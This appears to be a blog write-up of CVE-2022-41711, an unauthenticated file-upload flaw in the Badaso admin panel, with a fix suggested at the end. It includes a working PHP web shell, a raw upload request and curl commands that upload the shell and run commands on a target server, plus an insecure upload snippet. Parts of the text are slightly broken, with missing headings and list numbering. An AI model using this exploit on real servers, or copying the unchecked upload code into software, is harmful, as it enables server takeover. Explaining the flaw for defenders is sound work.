Badaso is an open-source, Laravel-based admin panel that’s popular for building custom dashboards. But in October 2022, a critical security vulnerability came to light: CVE-2022-41711. With this flaw, anyone on the internet—no login needed—could upload a malicious file and execute code on the server. In this exclusive long read, I’ll break down how the vulnerability works, give you code samples, and walk through a proof-of-concept attack.

What is CVE-2022-41711?

CVE-2022-41711 is a critical vulnerability in Badaso 2.6. (admin panel package), where file upload handlers do not properly validate or restrict uploaded files.

Severity: _9.8 (Critical)_

*Source: https://nvd.nist.gov/vuln/detail/CVE-2022-41711*

Why Does This Happen?

Most web apps with file upload allow only specific file types (e.g., jpg, png, pdf). But in Badaso 2.6., the file filter is broken or skipped altogether.

Insecure code example

// BAD: No file type check
$file = $request->file('upload_file');
$file->move('uploads', $file->getClientOriginalName());

File extension (e.g., .php)

- MIME type (e.g., image/png vs. text/x-php)

The Badaso codebase’s upload logic does not filter extensions. Attackers can POST data like this

POST /api/upload
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX

------WebKitFormBoundaryX
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET["cmd"]); ?>
------WebKitFormBoundaryX--

On the server, the route /api/upload is handled with move() so the attacker’s shell.php lays in the uploads/ directory. Visiting http://target/uploads/shell.php?cmd=whoami executes commands.

Upload the web shell (a malicious PHP file).

2. Server saves it in /uploads/shell.php.
3. Attacker accesses the file with browser/curl, and passes instructions (e.g., cmd=ls).

Example Malicious File: shell.php

<?php
if(isset($_GET['cmd'])){
  system($_GET['cmd']);
}
?>


This basic shell can run any command sent via the cmd parameter.

Proof of Concept Exploit

Here’s a quick way to exploit CVE-2022-41711 using curl.

Save this as shell.php

<?php system($_GET["cmd"]); ?>

Then upload it

curl -F 'upload_file=@shell.php' http://target-site.com/api/upload

Open

http://target-site.com/uploads/shell.php?cmd=whoami

Or use curl

curl "http://target-site.com/uploads/shell.php?cmd=ls%20-la";

References and Further Reading

- CVE-2022-41711 – NVD (National Vulnerability Database)
- Badaso GitHub Repository
- Web Shell Exploits: OWASP Cheat Sheet

Check MIME types and content (using PHP’s finfo_file()).

4. Store uploads outside of web root, and only move/serve sanitized images.

Example Fix

$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower($file->getClientOriginalExtension());
if (!in_array($ext, $allowed)) {
  die('Illegal file type!');
}

Wrap-Up

CVE-2022-41711 in Badaso 2.6. is a textbook example of how dangerous insecure file uploads are. Attackers don’t need an account to take over your server—just a few POST requests. If you are running Badaso, patch it now. If you’re building web apps, always validate uploads and never trust user files.


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Timeline

Published on: 10/25/2022 21:15:00 UTC
Last modified on: 10/28/2022 17:51:00 UTC